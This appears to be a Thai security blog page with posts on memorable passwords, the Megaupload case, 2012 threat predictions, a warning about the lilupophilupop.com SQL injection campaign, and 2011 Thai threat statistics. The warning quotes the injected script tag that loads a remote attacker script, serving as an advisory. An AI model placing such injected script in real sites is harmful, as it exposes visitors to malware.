กลเม็ดในการสร้างรหัสผ่านที่จำง่าย

สังคมยุคใหม่ในปัจจุบัน รหัสผ่านเป็นด่านหน้าของบริการทุกอย่างที่อยู่ในคอมพิวเตอร์ บางท่านเมื่อเห็นรหัสผ่านอย่าง “bY$4cC@Fri” เห็นแล้วเหงื่อตก คงต้องจดลงกระดาษเท่านั้น แต่ถ้ารู้ว่ามีเทคนิคในการจำรหัสผ่านนี้ โดยจำประโยคว่า “bring Your $ for cupcakes on Friday” จะทำให้การจำง่ายขึ้นเยอะการใช้รหัสผ่านที่จำได้ง่าย และปลอดภัยไปพร้อมกันไม่ใช่เรื่องง่าย ลองใช้เทคนิคเหล่านี้ในการสร้างรหัสผ่านที่ปลอดภัยแต่จดจำได้ง่ายกันดีกว่า

เทคนิคในการสร้างรหัสผ่าน

1. พัฒนาวิธีการ

นำชื่อเว็บไซต์ และเพิ่มตัวเลข (เช่น หมายเลขโทรศัพท์สี่ตัวท้ายของเพื่อน) เข้าไป (อย่าใช้หมายเลขโทรศัพท์ของคุณเอง) รหัสผ่านสำหรับเว็บ YouTube อาจเป็น “YouTube5489″ โดยคุณสามารถดัดแปลงให้คาดเดาได้ยากขึ้นไปอีก เช่นสะกด YouTube กลับหลังเป็น “ebuTuoY5489″ ยิ่งมีขั้นตอนมากขึ้น และไม่สามารถคาดเดาได้มากเท่าไหร่ รหัสผ่านของคุณก็ยิ่งมีความปลอดภัยมากขึ้นเท่านั้น

 

2. รวบรวมจากสิ่งที่คุณชอบ

เลือกตัวเลข คำ และสัญลักษณ์ที่คุณชอบมาสร้างเป็นรหัสผ่านที่มีความยาว เช่น “four” และ “crazy” และ “_” อาจเปลี่ยนมาเป็น “four_crazy” หรือ “_crafourzy” เป็นต้น

3. นำอักษรแทนเสียงสระออกไป

เลือกคำหรือวลีมา และนำเอาอักษรแทนเสียงสระออกไป เช่น “eat the cheeseburger” กลายเป็น “tthchsbrgr”

4. ใช้การเลื่อนนิ้วบนปุ่มคีย์บอร์ดไปทางซ้าย ขวา บน ล่าง

คุณสามารถสร้างรหัสผ่านใหม่จากสิ่งที่คุณจำได้ โดยการเลื่อนนิ้วไปทางด้านซ้ายหรือขวาของปุ่มคีย์บอร์ด แต่พิมพ์เหมือนเดิม เช่น “wikiHow” สามารถแปลงเป็น “qujugiq” (เลื่อนไปซ้าย) หรือ “eolojpe” (เลื่อนไปขวา) ได้

นอกจากนี้การพิมพ์อักษรไทยโดยใช้ input เป็นภาษาอังกฤษ ก็สามารถทำให้จำรหัสผ่านได้ง่าย เช่น คำว่า “วันอาทิตย์” แปลงเป็น “;yovkmb9pN” ทำให้คุณสามารถจำรหัสผ่านได้อย่างง่าย ๆ

5. รวบรวมคำสั้น ๆ หลายคำ

หนึ่งในวิธีการที่ฉลาดในการพัฒนารหัสผ่านที่จำง่ายได้แก่การรวมคำสั้น ๆ สามคำเพื่อสร้างรหัสผ่าน เช่น “howstopyes” หรือ “earpengold” หรือการใช้คำที่มีความเกี่ยวข้องกัน เช่น “yesnomaybe” อย่างไรก็ตาม ควรเพิ่มความแข็งแกร่งของรหัสผ่านโดยการเปลี่ยนอักษรตัวแรกของแต่ละคำเป็นตัวพิมพ์ใหญ่ด้วย เช่น  “ballzonecart” เปลี่ยนเป็น “BallZoneCart” เป็นต้น

Continue reading

กรณี Megaupload.com และการละเมิดลิขสิทธิ์ออนไลน์

หนึ่งในเว็บไซต์สำหรับแชร์ไฟล์ยอดนิยมมากที่สุดในโลก ปิดตัวไปเมื่อวันที่ 19 มกราคม 2555 ผู้ก่อตั้งและพนักงานถูกกล่าวหาว่าให้การสนับสนุนการดาวน์โหลดภาพยนตร์ เพลงและเนื้อหาอื่น ๆ ที่ผิดกฏหมายนับหลายล้านครั้ง

จากคำฟ้องร้องของรัฐบาลสหรัฐ ฯ เมกาอัพโหลดทำให้ผู้ถือลิขสิทธิ์สูญเสียรายได้อย่างน้อย 500 ล้านดอลลาร์ การฟ้องร้องเปิดเผยขึ้นหนึ่งวันหลังจากเว็บไซต์ต่าง ๆ รวมถึงวิกิพีเดีย (Wikipedia) และ เครกส์ลิสต์ (Craigslist) ปิดตัวเพื่อประท้วงข้อเสนอกฏหมาย SOPAของสมาชิกวุฒิสภาที่ช่วยทำให้เจ้าหน้าที่ของรัฐสามารถไล่ล่าเว็บไซต์ที่มีเนื้อหาละเมิดลิขสิทธิ์ได้ง่ายขึ้น โดยเฉพาะที่มีสำนักงานและเครื่องแม่ข่ายในต่างประเทศ

การบล็อกการเข้าถึงจากประเทศต่าง ๆ

ถึงแม้บริษัทจะตั้งอยู่ในฮ่องกง แต่บริษัทก็ไม่ได้ให้บริการในฮ่องกงแต่อย่างใด ตั้งแต่ปีค.ศ. 2009 ผู้ใช้ที่มีที่อยู่ไอพี (IP address) มาจากฮ่องกงจะไม่สามารถเข้าถึงไซต์ได้ แม้แต่กระทั่งหน้าโฮมเพจ ผู้มีแอคเคาท์แบบพรีเมียมยังสามารถเข้าถึงไซต์เมกาอัพโหลดได้จนถึงวันที่สุดท้ายที่เป็นสมาชิก ส่วนผู้ใช้ที่มีที่อยู่ไอพีจากจีนแผ่นดินใหญ่ก็ถูกบล็อคเช่นเดียวกัน เมกาอัพโหลดไม่เคยบอกถึงเหตุผลในการบล็อค แต่เจ้าหน้าที่ศุลกากรฮ่องกงให้ความเห็นว่าการบล็อคเป็นความพยายามขัดขวางการสืบสวนจากเจ้าหน้าที่บังคับใช้กฏหมาย

วันที่ 23 พฤษภาคม ค.ศ. 2010 ไม่สามารถเข้าถึงเมกาอัพโหลดได้เป็นช่วง ๆ จากการบล็อคของผู้มีอำนาจในซาอุดิอะราเบีย โดยคณะกรรมการCommunications and Information Technology Commission ส่วนเว็บไซต์เมกาวิดีโอ (Megavideo) ยังถูกบล็อคเป็นช่วง ๆ ในสหรัฐอาหรับเอมิเรต เนื่องจากมีเนื้อหาลามกอนาจารที่สามารถเข้าถึงได้ผ่านทางบริการของเว็บไซต์นี้

วันที่ 9 มิถุนายน ค.ศ. 2011 รัฐบาลมาเลเซีย ผ่านทางคณะกรรมการ Malaysian Communications and Multimedia Commission สั่งให้ผู้ให้บริการอินเทอร์เน็ตทุกแห่งในมาเลเซียบล็อคเมกาอัพโหลดและเมกาวิดีโอ ผู้ให้บริการบางรายบล็อคไซต์ทั้งหมดที่อยู่ในรายชื่อ ผู้ให้บริการบางรายลดความเร็วในการเข้าถึงเว็บไซต์ดังกล่าว

เดือนกรกฎาคม การเข้าถึงเมกาอัพโหลด เมกาวิดีโอ รวมทั้ง Rapidshare Mediafire และไซต์ฝากไฟล์อื่น ๆ ถูกบล็อกในอินเดีย การบล็อคเกิดขึ้นหลังจากบริษัท Reliance Entertainment ได้รับคำสั่งศาลที่อ้างถึงไฟล์ภาพยนตร์ Singham ละเมิดลิขสิทธิ์ในไซต์รับฝากไฟล์

วันที่ 19 มกราคม ค.ศ. 2012 อัยการในรัฐเวอร์จิเนียได้สั่งปิดเมกาอัพโหลด และสั่งแจ้งข้อหาผู้ก่อตั้งคิม ด็อทคอม (Kim Dotcom) และคนอื่น ๆ ในข้อหาละเมิดกฏหมายลิขสิทธิ์

คดีทางกฏหมาย

เมื่อวันที่ 19 มกราคม 2555 กระทรวงยุติธรรมของสหรัฐ ฯ จับกุมและปิดเมกาอัพโหลด และดำเนินคดีอาญากับเจ้าของและบุคคลอื่น ๆ ที่เกี่ยวข้อง วันที่ 20 มกราคม 2555 ศุลกากรของฮ่องกงได้ระงับธุรกรรมการเคลื่อนย้ายทรัพย์สินที่เป็นของบริษัทกว่า 300 ล้านดอลลาร์ฮ่องกง

จากการร้องขอของอัยการสหรัฐ ฯ ตำรวจนิวซีแลนด์ได้จับตัวคิม ด็อทคอม และผู้บริหารของเมกาอัพโหลดอีกสามคนในแมนชั่นหรูหรามูลค่า30 ล้านดอลลาร์ที่ Coatesville ใกล้เมือง Auckland เมื่อวันศุกร์ที่ 20 มกราคม การจู่โจมกำหนดให้ตรงกับวันคล้ายวันเกิดของคิม สามารถยึดทรัพย์สินมูลค่า17 ล้านดอลลาร์ รวมถึงงานศิลปะและรถยนต์หรูหรา

คิม ด็อทคอมอาศัยประจำอยู่ในฮ่องกงและนิวซีแลนด์ และเป็นพลเมืองของฟินแลนด์และเยอรมนี ทำรายได้มากกว่า 42 ล้านดอลลาร์จากเว็บไซต์นี้ในปีค.ศ. 2010 เพียงปีเดียว

เขาเปลี่ยนชื่อมาเป็น “ด็อทคอม” อย่างถูกกฏหมาย ก่อนหน้านี้เขาใช้ชื่อ Kim Schmitz และ Kim Tim Jim Vestor เป็นผู้ก่อตั้ง อดีตซีอีโอ ปัจจุบันเป็นหัวหน้าฝ่ายนวัตกรรมของเมกาอัพโหลด

เจ้าหน้าที่ประเมินว่าอาจใช้เวลาหนึ่งปีหรือมากกว่า ก่อนที่ด็อทคอมและคนอื่น ๆ ที่ถูกจับกุมตัวในนิวซีแลนด์จะถูกส่งตัวข้ามแดนอย่างเป็นทางการ

ประเด็นทางกฏหมาย

กฏหมาย Digital Millennium Copyright Act (DMCA) ของสหรัฐ ฯ ได้กำหนดข้อยกเว้นความผิด (safe harbor) สำหรับไซต์ที่ลบเนื้อหาละเมิดลิขสิทธิ์โดยทันที อย่างไรก็ตามไม่มีข้อยกเว้นความผิดสำหรับไซต์ที่รู้และเพิกเฉย โดยไม่ดำเนินการอะไร

ในกรณีของเมกาอัพโหลด ข้อกล่าวหายืนยันว่า เมกาอัพโหลดใช้เงื่อนไขของ DMCA เพื่อให้ดูเหมือนทำถูกต้องตามกฏหมาย มีเพียงแต่ลิงค์ที่ถูกลบ แต่ตัวไฟล์ที่ละเมิดไม่ได้ถูกลบออกไปด้วย

เมกาอัพโหลดยังให้รางวัลกับผู้ใช้ที่อัพโหลดเนื้อหาละเมิดลิขสิทธิ์ เช่น ผู้ใช้จะได้รับรางวัล cash bonus ถ้าอัพโหลดเนื้อหาที่ได้รับความนิยมเพียงพอที่จะทำให้เกิดการดาวน์โหลดเป็นจำนวนมหาศาล

ไซต์นี้อ้างว่ามีผู้ใช้ลงทะเบียน 150 ล้านคนและมีการเยี่ยมชม 50 ล้านครั้งต่อวัน กระทรวงยุติธรรมสหรัฐ ฯ บอกว่า ใครก็ตามที่ดาวน์โหลดเนื้อหาละเมิดลิขสิทธิ์ถือว่าผิดกฏหมาย แต่การสืบสวนจะเน้นไปที่ผู้นำของบริษัทดังกล่าว ไม่ใช่ผู้ใช้ปลายทางที่อาจดาวน์โหลดภาพยนตร์เพียงไม่กี่เรื่องเพื่อรับชมเป็นการส่วนตัว

การโจมตีเพื่อแก้แค้นโดยกลุ่ม Anonymous

การดำเนินการกับเมกาอัพโหลด เกิดขึ้นไม่กี่ชั่วโมงหลังจากมีการประท้วงกฏหมาย Stop Online Piracy Act (SOPA) ในอินเทอร์เน็ต หลังจากนั้นไม่นานเว็บไซต์ของกระทรวงยุติธรรมและองค์การอื่น ๆ ถูกโจมตีและไม่สามารถเข้าถึงได้ โดยฝีมือของกลุ่มนักเจาะที่เรียกว่า Anonymous

เว็บไซต์ Gizmodo ให้ความเห็นว่าเป็นผลมาจากการโจมตี DDoS (Distributed Denial of Service) จากการรวมตัวอย่างกว้างขวางและรุนแรงที่สุด ด้วยการใช้ลิงค์ที่โพสต์ไว้ในห้องสนทนาและทวิตเตอร์ต่าง ๆ เมื่อคลิกไปโดยผู้ใช้อินเทอร์เน็ตที่ไม่ระวังตัว ก็จะเปิดทำงานโปรแกรมที่เรียกว่า “Low Orbit Ion Cannon” ซึ่งเป็นโปรแกรมแบบโอเพ่นซอร์สที่ใช้โจมตีแบบ denial-of-service (DoS) วันที่ 19 มกราคม ค.ศ. 2012 กลุ่ม Anonymous อ้างความรับความรับผิดชอบในการโจมตีเว็บไซต์ต่าง ๆ รวมถึง RIAA, MPAA, BMI, FBI เป็นต้น

Continue reading

แนวโน้มภัยคุกคาม ปี พ.ศ 2555

แนวโน้มภัยคุกคามทางคอมพิวเตอร์และอินเทอร์เน็ต ปีค.ศ. 2012 (พ.ศ 2555)

ถือเป็นธรรมเนียมปฏิบัติไปแล้วสำหรับบริษัทและบล็อกด้านความปลอดภัยต่าง ๆ ที่เมื่อสิ้นปีจะทำนายแนวโน้มของภัยคุมคามคอมพิวเตอร์และอินเทอร์เน็ตสำหรับปีถัดไป ทีมงาน SRAN ได้ค้นหาและอ่านบทความทำนายแนวโน้มจากหลายสำนักจนได้รวบรวมเกิดเป็นบทความนี้ขึ้นหวังว่าหลังจากที่ได้อ่านแล้วจะทำให้ผู้อ่านได้ความคิดใหม่ ๆ ในการป้องกันตัวเองและครอบครัวจากจากภัยที่คุณอาจจะต้องพบเจอเข้าในสักวันหนึ่ง เพราะคอมพิวเตอร์และอินเทอร์เน็ตเป็นเรื่องใกล้ตัวที่คุณไม่อาจมองข้ามได้อีกต่อไป

1. การโจมตีเป้าหมายเจาะจง (targeted attack) จะทำให้เกิดความเสียหายและมีความซับซ้อนมากขึ้น

สองปีที่ผ่านมามีข่าวเกี่ยวกับการโจมตีต่อเป้าหมายเจาะจง เนื่องจากกลุ่มที่ใช้คอมพิวเตอร์และเครือข่าย เพื่อเคลื่อนไหวทางการเมือง (เรียกว่า hacktivist มาจากคำว่า hack รวมกับ activist) อย่าง Anonymous และ LulzSec รวมถึงการเพิ่มขึ้นของอาชญากรรมทางอินเทอร์เน็ต ที่มุ่งเป้าไปที่รัฐบาล ธุรกิจและนักเคลื่อนไหวทางการเมือง ที่ต้องอาศัยเทคโนโลยีขั้นสูงและระยะเวลาที่ยาวนาน เรียกว่า Advanced Persistent Threats (APTs)

ตัวอย่างได้แก่ การโจมตีอย่างต่อเนื่องที่ทำให้โซนี่ต้องหยุดให้บริการเพลย์สเตชั่นเป็นเวลานาน ทำให้เกิดความเสียหายทางการเงิน และการรั่วไหลของข้อมูลผู้ใช้ และการโจมตีเครือข่ายของล็อกฮีด มาร์ติน (Lockheed Martin) บริษัทผู้ผลิตเครื่องบินระหว่างประเทศและเทคโนโลยีที่ก้าวหน้า ที่อาจมีจุดมุ่งหมายเพื่อจารกรรมข้อมูลการออกแบบเครื่องบินรบ

เราสังเกตได้ถึงระดับความซับซ้อนของการโจมตีเหล่านี้ เช่น ในขณะที่การโจมตีโซนี่เกิดจากการบุกรุกเครื่องแม่ข่ายเว็บ (web server) ที่ไม่ได้แก้ไขช่องโหว่ของโซนี่เอง แต่การโจมตีล็อกฮีด มาร์ตินเป็นผลมาจากการโจมตีบริษัท RSA ทางอีเมล เริ่มแรก พนักงานของ RSA ได้รับอีเมลแนบไฟล์สเปรดชีท ที่โจมตีช่องโหว่ Adobe Flash Playerและติดตั้งประตูหลัง (backdoor) และส่วนประกอบอื่น ๆ ของมัลแวร์ จากนั้นมัลแวร์ดังกล่าวจึงถูกใช้เพื่อเข้าถึงระบบของRSA และขโมยข้อมูลทางเทคนิคของ SecurID ซึ่งเป็นการยืนยันตัวตนสองปัจจัย (two-factor authentication) RSA ยืนยันว่าข้อมูลดังกล่าวถูกใช้เพื่อโจมตีล็อกฮีด มาร์ติน

เห็นได้ชัดว่าเหยื่อของการโจมตีเหล่านี้ได้รับความเสียหายมาก รวมถึงการเสียชื่อเสียง เสียความเชื่อมั่นของลูกค้า
ราคาหุ้นตกและเสียค่าใช้จ่ายในการแก้ไขปัญหาในทางเทคนิค

เมื่อเร็ว ๆ นี้ APTs ได้แสดงให้เห็นถึงความสามารถของมัน หนอน Stuxnet เป็นหนึ่งในตัวอย่างที่ดี อีกทั้ง
Stuxnet ยังใช้ใบรับรองอิเล็กทรอนิกส์ (digital certificate) ที่ถูกต้องอีกด้วย เมื่อพิจารณาถึงกรณีที่ใบรับรองถูกขโมยจากผู้ให้บริการออกใบรับรองอิเล็กทรอนิกส์ DigiNotar เชื่อว่าการโจมตีต่อเป้าหมายเจาะจงจะมีเพิ่มขึ้น
โดยมีความซับซ้อนมากขึ้น ใช้การโจมตีช่องโหว่แบบ zero-day (ช่องโหว่ที่ยังไม่มีวิธีแก้ไขจากผู้ขายผลิตภัณฑ์)
และใช้หลายขั้นตอนในการโจมตี

2. จะมีการหลอกลวงในเครือข่ายสังคมออนไลน์เพิ่มมากขึ้น

เครือข่ายสังคมเป็นหนึ่งในวิธีสำคัญในการสื่อสาร ปฏิสัมพันธ์และร่วมแบ่งปัน ระหว่างผู้บริโภคและธุรกิจผ่านทางเว็บ โชคไม่ดีที่บริการเหล่านี้ตกเป็นเป้าหมายในการก่ออาชญากรรมทางอินเทอร์เน็ตเช่นกัน

แคมเปญที่มีจุดประสงค์ร้ายแพร่หลายไปทั่วสังคมออนไลน์ หนึ่งในวิธีการหลักที่แคมเปญทางเฟซบุ๊คแพร่หลายไป
คือวิธีที่เรียกว่า “likejacking” รูปแบบหนึ่งของเทคนิค clickjacking เมื่อผู้ใช้ถูกหลอกให้กด “Like” ในหน้าเว็บหนึ่งซึ่งจะมีผลให้แสดงข้อความหน้า Wall ในเฟซบุ๊ค บ่อยครั้งที่ข้อความเหล่านี้จะเป็นข้อความที่น่าตื่นเต้น เช่น การตายของอุซามะฮ์ บิน ลาดิน หรือ เอมี ไวน์เฮาส์ ซึ่งจะนำไปสู่หน้าเว็บมุ่งร้ายหรือน่าสงสัย รูปแบบหนึ่งที่พบทั่วไปคือแบบสำรวจออนไลน์ที่บังคับให้ผู้ใช้กรอกข้อมูลก่อนดูวิดีโอที่ต้องการ ผู้ที่หลอกล่อให้ผู้ใช้กรอกแบบสำรวจได้สำเร็จจะได้เงินตอบแทน ส่วนแคมเปญมุ่งร้ายอื่น ๆ เช่น ใช้บริการย่อ URL เพื่อเปลี่ยนเส้นทางผู้ใช้ไปยังหน้าเว็บมุ่งร้าย หรือหลอกล่อให้ผู้ใช้ copy / paste URL ที่อ้างว่าเป็นวิดีโอลงไปใน address bar โดยตรง

ผู้ให้บริการเครือข่ายสังคมอย่างเฟซบุ๊คและทวิตเตอร์มีผู้ใช้หลายร้อยล้านคน และตามมาด้วยรายใหม่อย่าง Google+ ถึงแม้จะมีพัฒนาการด้านมาตรการด้านความปลอดภัยใหม่ ๆ ออกมาจากบริษัทผู้ให้บริการเหล่านี้ แต่เนื่องจากผู้ใช้และข้อมูลที่มีจำนวนมากจากผู้ให้บริการไม่กี่แห่ง จึงเป็นที่ดึงดูดอาชญากรทางอินเทอร์เน็ต และก่อให้เกิดการล่อลวงในสังคมออนไลน์เพิ่มมากขึ้นในปีค.ศ. 2012

3. มัลแวร์สำหรับอุปกรณ์พกพาคุกคามผู้ใช้และองค์การ

ในปีค.ศ. 2011 เพียงปีเดียวมีการเติบโตของมัลแวร์สำหรับอุปกรณ์พกพาอย่างมีนัยสำคัญ สิ้นปีค.ศ. 2010
มีมัลแวร์กว่า 2,500 ตัวอย่าง แต่ในปีค.ศ. 2011 เพิ่มขึ้นมากกว่า 7,500 ตัวอย่าง

ในปีค.ศ. 2011 ได้มีมัลแวร์สำหรับแพลตฟอร์มแอนดรอยด์เพื่อดักข้อมูล SMS ที่ธนาคารต่าง ๆ ใช้เพื่อป้องกัน
ลูกค้าจากโทรจัน เป็นตัวอย่างที่ดีของ “เกมแมวไล่จับหนู” ระหว่างผู้โจมตีและผู้ป้องกัน แอนดรอยด์ได้
กลายเป็นแพลตฟอร์มที่ตกเป็นเป้าหมายของมัลแวร์มากที่สุด มากกว่ามัลแวร์ซิมเบียนในครึ่งแรกของปี 2011 อีกด้านหนึ่งของมัลแวร์สำหรับอุปกรณ์พกพาที่เพิ่งเริ่มต้นขึ้น ได้แก่การใช้อุปกรณ์พกพาเป็นบ็อท (bots) ในเครือข่ายbots ที่แพร่หลายในคอมพิวเตอร์ตั้งโต๊ะ เนื่องจากมีอุปกรณ์และคอมพิวเตอร์ที่เชื่อมต่อเครือข่ายมากขึ้น ผู้โจมตีจึงพยายามนำทรัพยากรเหล่านี้มาใช้เพื่อประโยชน์ของตัวเอง

แอนดรอยด์ตกเป็นเหยื่อของความสำเร็จของตัวมันเองในหลายแง่มุม เนื่องจากคนแห่กันไปใช้อุปกรณ์ที่ใช้ระบบปฏิบัติการนี้ ผู้โจมตีก็ทำเช่นเดียวกัน นอกจากนี้แอนดรอยด์ยังมีข้อเสียที่นักพัฒนาสามารถเผยแพร่แอพพลิเคชั่นใด ๆ เข้าไปในMarketplace ได้อย่างง่ายดาย การพัฒนาหนึ่งที่น่าสนใจคือการเปิดตัว Amazon Kindle Fire ซึ่งปกติแล้วจะเชื่อมต่อกับ Amazon application store เท่านั้น หวังว่าทาง Amazon จะให้ความใส่ใจกับแอพพลิเคชั่นที่ยอมให้เผยแพร่ใน application store มากกว่า Marketplaceของกูเกิล

ทุกองค์การควรให้ความสนใจกับจำนวนที่เพิ่มขึ้นของพนักงานที่ใช้อุปกรณ์ของพวกเขาเองในที่ทำงานและดาวน์โหลดข้อมูลขององค์การ เช่น อีเมลและไฟล์ต่าง ๆ เข้ามาในอุปกรณ์โดยไม่มีการควบคุม เป็นแนวโน้มที่เรียกว่า consumerization of ITหรือ Bring-Your-Own-Device (BYOD) องค์การจำเป็นต้องเตรียมพร้อมสำหรับปัญหาด้านความปลอดภัยและความร่วมมือที่เกิดจากการนำอุปกรณ์ที่บริษัทจัดหามาให้ใช้งาน และที่พนักงานนำมาใช้เองด้วย

ในปีค.ศ. 2012 เราจะได้เห็นมัลแวร์สำหรับอุปกรณ์พกพาที่มีความซับซ้อนและผลกระทบมากขึ้น มัลแวร์ที่มุ่งเป้าที่สื่อสังคมออนไลน์จะแพร่กระจายมากขึ้น เนื่องจากมีการใช้อุปกรณ์พกพาเพื่อเข้าถึง และอัพเดทสังคมออนไลน์เพิ่มขึ้น โดยมัลแวร์ไม่เพียงแต่มุ่งเป้าที่ข้อมูลของผู้ใช้ แต่สามารถติดตามตำแหน่งของผู้ใช้ด้วย อาจเป็นเรื่องใหญ่ของความปลอดภัยสำหรับเด็ก ผู้ถ่ายภาพลามกเด็กและโจรลักพาตัวอาจสนใจภาพส่วนตัวที่เก็บอยู่ในอุปกรณ์พกพา ซึ่งจะมีข้อมูลพิกัดจีพีเอส (GPS) ของสถานที่ถ่ายภาพ ถึงแม้จะเก็บอยู่ในอุปกรณ์พกพาของผู้ปกครองก็ตาม

ข้อควรกังวลมากที่สุดเกี่ยวกับมัลแวร์ในอุปกรณ์พกพาคือ ข้อจำกัดของความสามารถของผลิตภัณฑ์ด้านความปลอดภัยในปัจจุบัน และจุดอ่อนในส่วนของผู้ใช้ เครื่องพีซีที่อยู่ในองค์การจะได้รับการดูแลจากฝ่ายไอที แต่อุปกรณ์พกพาของพนักงาน ที่ใช้เพื่อเข้าถึงและเก็บข้อมูลของบริษัท ดูเหมือนจะถูกละเลย องค์การจำเป็นต้องเพิ่มนโยบายด้านความปลอดภัย ช่วยให้อุปกรณ์พกพาสามารถเปิดเว็บได้อย่างปลอดภัย โดยที่อุปกรณ์พกพาส่วนตัวที่เข้าถึงเครือข่ายของบริษัทนั้นต้องใช้นโยบายเดียวกันด้วย

4. ช่องโหว่ในซอฟท์แวร์เสริมการทำงานเว็บบราวเซอร์

ซอฟท์แวร์เสริมสำหรับบราวเซอร์อย่าง Java, Flash Player และ Adobe Reader มีผู้ใช้ทั่วโลกเป็นจำนวนมาก มีช่องโหว่ในผลิตภัณฑ์เหล่านี้ที่พบและถูกโจมตีจำนวนมาก และเป็นเรื่องลำบากสำหรับผู้ดูแลฝ่ายไอทีในการอัพเดทผลิตภัณฑ์เหล่านี้ในองค์การ ผลิตภัณฑ์เหล่านี้จึงกลายเป็นช่องทางที่ใช้ในการโจมตีที่ได้ผล ผู้ใช้งานเจอความท้าทายเดียวกัน ในบางครั้งฟีเจอร์การทำงานบางอย่างก็ไม่จำเป็นสำหรับผู้ใช้งาน การปิดการทำงานของฟีเจอร์เหล่านั้นช่วยลดความเสี่ยงในการถูกโจมตีได้อย่างมีประสิทธิภาพ

นอกจากการเติบโตในแง่ของจำนวนแล้ว การโจมตีเหล่านี้ยังมีความซับซ้อนเพิ่มมากขึ้นอีกด้วย เช่น การซ่อนไฟล์มุ่งร้ายในไฟล์อื่นเพื่อหลีกเลี่ยงการตรวจจับ การโจมตีที่ใช้ไฟล์ flash มุ่งร้ายที่ฝังในไฟล์เอกสาร และรูปแบบที่คล้าย ๆ กันพบเห็นได้บ่อยขึ้น

Continue reading

เตือนภัยเว็บไทยถูกโจมตีจากเทคนิค SQL Injection จำนวนมาก

การโจมตีที่ SQL Injection ที่กำลังระบาดในขณะนี้เรียกว่า lilupophilupop.com SQL injection

ระบบ ที่ถูกโจมตีเป็นระบบที่ใช้ ASP หรือ ColdFusion ที่ใช้ MSSQL เป็น backend โดยจะถูกฝังข้อความ “></title><script src=”hXXp://lilupophilupop.com/sl.php”></script> อยู่ในเว็บไซต์ เมื่อเปิดหน้าที่ถูกฝังสคริปท์

นี้แล้วจะ redirect ไปที่เว็บไซต์ดาวน์โหลด Flash และแอนตี้ไวรัสปลอม

โดเมนในประเทศไทยพบ 12,800 หน้า ส่วนทั่วโลกพบประมาณ 1 ล้านหน้า

เว็บ .th ที่ถูกโจมตี
https://www.google.com/search?q=title+script+src+http+%22sl+php%22+script+%22lilupophilupop+com%22+site%3A.th&hl=en&biw=1280&bih=938&num=10&lr=&ft=i&cr=&safe=images
หรือค้นหาโดยใช้
title script src http “sl php” script “lilupophilupop com” site:.th จากเว็บ google.com

รายละเอียดเพิ่มเติม

สถิติภัยคุกคาม ที่เกิดขึ้นในประเทศไทยในรอบปี 2011

เริ่มต้นปีใหม่เราจะทำอะไร เหตุการณ์ข้างหน้าจะเป็นอย่างไร เรามีแต่การคาดการณ์ แต่หากเราเรียนรู้กับอดีตที่เคยเกิดขึ้นมาเป็นบทเรียนและเตรียมรับมือ พร้อมทั้งเรียนรู้ให้เท่าทันถึงภัยคุกคามที่อาจขึ้นน่าจะเป็นสิ่งที่ดี สำหรับการดำเนินชีวิตอย่างไม่ประมาท

ดั่งคำกล่าวที่ว่า “จะรู้ทิศทางอนาคต ก็ต้องรู้จักเหตุการณ์จากอดีต”

จึงเป็นที่มาให้ทีมพัฒนา SRAN ได้ทุ่มเท ความรู้ ที่มีจัดทำฐานข้อมูลภัยคุกคามที่เกิดขึ้นเพื่อเป็นการรายงานผล จัดในรูปแบบสถิติที่เกิดจากการใช้งานอินเทอร์เน็ตภายใน ประเทศไทยขึ้น โดยพัฒนาระบบนี้มานานกว่าจะออกเป็นผลลัพธ์ในเว็บ www.sran.net ซึ่งในปีนี้ก็คิดว่าระบบดังกล่าวจะสมบูรณ์มากขึ้นและเป็นประโยชน์ต่อสังคมให้ ได้เรียนรู้ถึงทิศทางภัยคุกคามที่เกิดขึ้นจากอดีตจนถึงปัจจุบันได้

เป้า หมายที่ตั้งไว้ คือ ต้องการระบบที่ตรวจสอบและแจ้งผลเว็บไซต์ Website / domain / IP Address ที่เป็นภัยอันตรายต่อการใช้งานนักท่องอินเทอร์เน็ต และทำให้ผู้ดูแลระบบที่ประสบภัยคุกคามได้มีมาตรการในการป้องกันภัยและแก้ไข ได้ทันสถานการณ์มากขึ้น โดยมีการจัดการข้อมูลในรูปแบบของสถิติซึ่งสามารถอ่านรายละเอียดได้ที่ http://nontawattalk.blogspot.com/2011/09/blog-post_04.html หรือhttp://blog.sran.net/archives/640

ดัง นั้นก่อนที่จะคาดการณ์ภัยคุกคามในอนาคต เราจึงควรเรียนรู้ภัยคุกคามในรอบปีที่แล้วที่ผ่านมาเพื่อมาวิเคราะห์ถึง ทิศทางของภัยคุกคามที่เกิดขึ้นในประเทศไทยได้อย่างถูกต้องและแม่นยำมากขึ้น

โดยในรอบปี 2011 ที่ผ่านมานั้น สรุปภัยคุกคามที่เกิดขึ้นได้ดังนี้
SRAN : Thailand Internet Threat Statistic 2011

ภาพที่ 1 : สถิติภัยคุกคามที่เกิดขึ้นในประเทศไทยในรอบปี 2011

ภัยคุกคามที่ทางทีมพัฒนา SRAN ได้จัดทำขึ้นประกอบด้วย
1. Malware : คือ Website / Domain / IP Address ภายในประเทศไทย ที่เป็นพาหะที่ทำให้ผู้ใช้งานติดไวรัสคอมพิวเตอร์ หรือ file ที่ไม่เหมาะสม ที่ทำให้เครื่องคอมพิวเตอร์ (computer) คอมพิวเตอร์พกพา (notebook ,tablet) และสมาร์ทโฟม (smart phone/mobile ) ที่ขาดระบบป้องกันที่ทันสมัยอาจมีโอกาสติดเชื้อไปด้วยสรุปภาพรวมทั้งปี 2011 เกิดขึ้นเป็นจำนวน 1,057 ครั้ง ลงเมื่อเทียบกับปี 2010

2. Web Attack : คือ Website / Domain / IP Address ภายในประเทศไทย ที่ถูกโจมตี (Hacking) เข้าถึงระบบและเปลี่ยนข้อมูลในหน้าเพจเว็บไซต์

สรุปภาพรวมทั้งปี 2011 เกิดขึ้นเป็นจำนวน 6,331 ครั้ง เพิ่มขึ้นเมื่อเทียบกับปี 2010

3. Phishing : คือ Website / Domain / IP Address ภายในประเทศไทย ที่เป็นการหลอกลวงทำให้ผู้ใช้งานเข้าใจผิดและส่งผลกระทบต่อการใช้งานปกติ ซึ่งทำให้เครื่องคอมพิวเตอร์ (computer) คอมพิวเตอร์พกพา (notebook ,tablet) และสมาร์ทโฟม (smart phone/mobile ) ที่ขาดระบบป้องกันที่ทันสมัยอาจมีโอกาสติดเชื้อ Malware หรือเป็นเหยื่อของนักโจมตีระบบได้อีกด้วย

สรุปภาพรวมทั้งปี 2011 เกิดขึ้นเป็นจำนวน 875 ครั้ง เพิ่มขึ้นเมื่อเทียบกับปี 2010

